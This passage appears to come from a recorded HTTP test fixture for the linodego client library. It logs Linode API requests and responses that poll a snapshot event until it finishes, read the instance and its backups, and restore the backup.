databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 134, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:46:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 150, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:46:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 164, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:47:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 180, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:47:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 194, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:47:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 209, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:47:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 224, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:48:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 239, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:48:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 254, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:48:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 269, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:48:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 285, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups/298852965 method: GET response: body: '{"id": 298852965, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-3ky473f0f2sb"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "362" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053 method: GET response: body: '{"id": 61876053, "label": "go-test-ins-wo-disk-14x573eovrw1", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": "2018-01-02T03:04:05"}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "833" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups method: GET response: body: '{"automatic": [], "snapshot": {"current": {"id": 298852965, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-3ky473f0f2sb"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}, "in_progress": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "427" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups/298852965 method: GET response: body: '{"id": 298852965, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": ["go-test-conf-3ky473f0f2sb"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "362" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":61876053,"overwrite":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups/298852965/restore method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 